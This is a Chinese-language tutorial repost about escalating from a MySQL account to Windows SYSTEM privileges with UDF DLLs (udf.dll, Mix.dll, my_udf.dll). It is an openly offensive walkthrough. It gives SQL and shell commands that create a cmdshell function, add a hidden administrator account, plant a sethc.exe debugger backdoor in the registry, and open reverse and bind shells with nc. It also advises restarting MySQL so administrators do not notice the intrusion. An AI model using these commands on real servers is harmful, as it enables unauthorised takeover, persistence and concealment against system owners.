网站地图    收藏   

主页 > 后端 > 网站安全 >

关于udf跟mix提权 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] 一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。二、适用场合:1.目标系统是Windows(Win200...

一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。
二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

三、使用帮助:
   第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。

   第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须 将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。

第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径 而使命令正常执行,否则你将会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。


 

第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。

四、功能函数说明:
cmdshell 执行cmd;
   downloader 下载者,到网上下载指定文件并保存到指定目录;
   open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
   backshell 反弹Shell;
   ProcessView 枚举系统进程;
   KillProcess 终止指定进程;
   regread 读注册表;
   regwrite 写注册表;
   shut 关机,注销,重启;
   about 说明与帮助函数;

写注册表函数.
select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe","Debugger","REG_SZ","E:\\web\\170stock\\admin\\include\\explorer.exe");

 


C:\Winnt\udf.dll    2000
C:\Windows\udf.dll 2003 
现在基本上win的服务器就这两个导出UDF.DLL
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user admins 226404553 /add'); 
select cmdshell('net localgroup administrators admins /add'); 
select cmdshell('c:\3389.exe'); 
drop function cmdshell; 删除函数
select cmdshell('netstat -an');

三:Mix.dll提权
WEBSHELL获得了,找用户和密码也不是什么难事。现在我拿我另外一台机器做示范,已经把PHPSHELL传上去了,一般来说连接MYSQL的帐户密码很好找,随便编辑一个PHP文件,就看到了。
看到了吧,用户名:root 密码:123456 库名:php 然后怎么办呢?先用SQL Query 建立连接,哈连接成功了,现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK,传好了,Mix.dll用于反弹连接,My_udf.dll是正向连接,直接用连接对方的3306端口然后输入密码就可获得CMDSHELL。好,不多说了,传上去之后呢就执行以下SQL语句create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll'; 来注册函数.

出现SQL语句成功执行!

离拿到CMDSHELL已经不远了,我们先用NC在本地监听一个端口先,Nc -l -p 1234 (这个我想不用截图了吧)而后执行语句:select Mixconnect('192.168.1.254','1234'); 来激活那个函数,执行成功,然后看看我们的NC有反映没,成功得到CMSHELL,不过这时对方的MYSQL已经假死咯,我们要把MYSQL服务进程给kill掉,然后重新启动MYSQL服务才行,不然管理员发现网站运行不了了,那就。。。。如果该服务器不允许连接任何外部IP和端口,而他的3306端口却是对外开的!这时My_udf.dll就该上场了,使用方法和Mix一样,连接MYSQL成功后执行如下语句:create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll'; 执行语句成功后,然后我们就开始激活这个函数,输入语句:select my_udfdoor (''); 然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了


提权方面(mix.dll提权)

D:/usr/www/html/mix.dll mysql -h 目标ip -uroot -p \. c:\mysql.txt select Mixconnect('反弹ip','端口'); nc -vv -l -p 1983

 

摘自:mer4en7y's blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论